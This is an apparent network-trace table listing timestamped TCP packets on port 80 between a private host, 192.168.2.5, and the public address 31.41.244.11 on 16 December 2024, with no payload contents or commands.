Dec 16, 2024 09:01:34.628683090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.628731012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.629389048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.629439116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.629508972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.629550934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.630314112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.630325079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.630357981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.630394936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.631135941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.631186962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.631194115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.631238937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.632113934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.632126093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.632181883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.632716894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.632775068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.632812977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.632858038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.633549929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.633608103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.633647919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.633691072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.634423971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.634443045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.634480953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.634509087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.637473106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.637521029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.637566090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.637610912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.637763023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.637805939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.637871027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.637919903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.638710022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.638722897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.638768911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.639612913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.639662027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.786462069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.786475897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.786536932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.786581039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.786586046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.786586046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.786664009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.787560940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.787574053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.787616014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.788299084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.788347006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.788419962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.788465023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.789061069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.789108038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.789144039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.789189100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.789947987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.790000916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.790152073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.790196896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.790755987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.790798903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.791021109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.791078091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.791918039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.791965961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.792092085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.792138100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.792583942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.792596102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.792637110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.793309927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.793322086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.793361902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.794194937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.794205904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.794243097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.794836998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.794882059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.795285940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.795336962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.795610905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.795654058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.795737982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.795783043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.796443939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.796490908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.796571016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.796617985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.797421932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.797436953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.797466993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.797489882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.798120022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.798167944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.798206091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.798253059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.798948050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.798995018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.799031019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.799074888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.799830914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.799843073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.799884081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.800620079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.800668001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.800704956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.800750017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.801424026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.801470041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.801548958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.801594019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.802299023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.802375078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.802376032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.802414894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.803057909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.803111076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.803170919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.803215027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.804016113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.804028988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.804066896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.804899931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.804918051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.804949045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.804975986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.805567026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.805614948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.805646896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.805691957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.806467056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.806479931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.806519985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.807286024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.807327986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.807353020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.807406902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.808092117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.808104992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.808141947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.808953047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.808964014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.809004068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.809712887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.809763908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.809840918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.809889078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.810501099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.810548067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.810571909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.810616016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.811323881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.811373949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.811424971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.811472893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.812378883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.812391996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.812428951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.813070059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.813087940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.813116074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.813148022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.813834906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.813882113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.813901901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.813946009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.814631939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.814678907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.814759970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.814804077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.815581083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.815593004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.815628052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.816437006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.816447973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.816493988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.817141056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.817190886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.817264080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.817310095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.818099022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.818110943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.818147898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.818870068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.818916082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.818973064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.819019079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.819703102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.819739103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.819770098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.819786072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.820424080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.820471048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.820782900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.820828915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.821368933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.821381092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.821419001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.822160959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.822207928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.822243929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.822289944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.822943926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.822988987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.823050976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.823093891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.823889017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.823899984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.823935986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.824631929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.824681044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.824681997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.824722052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.825416088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.825450897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.825465918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.825484991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.826339006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.826349974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.826385975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.827261925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.827310085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.829649925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.829662085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.829699039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.829951048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.829996109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.830056906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.830104113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.830856085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.830873013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.830904961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.831799030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.831847906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.978663921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.978679895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.978729010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.978756905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.978780985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.978791952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.978854895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.978893042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.979567051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.979609966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.979649067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.979688883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.980426073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.980479956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.980503082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.980540991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.981293917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.981345892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.981380939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.981419086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.982079983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.982122898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.982162952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.982198954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.982959032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.982973099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.982999086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.983026981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.983829975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.983849049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.983880043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.983923912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.984605074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.984657049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.984674931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.984713078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.985436916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.985482931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.985487938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.985519886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.986248970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.986262083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.986310005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.986334085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.987014055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.987055063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.987241983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.987287998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.987891912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.987931967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.987942934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.987970114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.988689899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.988740921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.988761902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.988805056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.989463091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.989509106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.989577055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.989631891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.990390062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.990401983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.990438938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.991148949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.991197109 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.991234064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.991281986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.992047071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.992058992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.992091894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.992127895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.992774010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.992816925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.992878914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.992954016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.993788958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.993808031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.993849993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.993849993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.994457960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.994508028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.994946003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.994993925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.995306969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.995349884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.995349884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.995389938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.996244907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.996256113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.996304035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.997137070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.997180939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.997474909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.997519970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.997993946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.998003960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.998039007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.998055935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.998661041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:34.998702049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:34.998771906 CET	80	49866	31.41.244.11	192.168.2.5
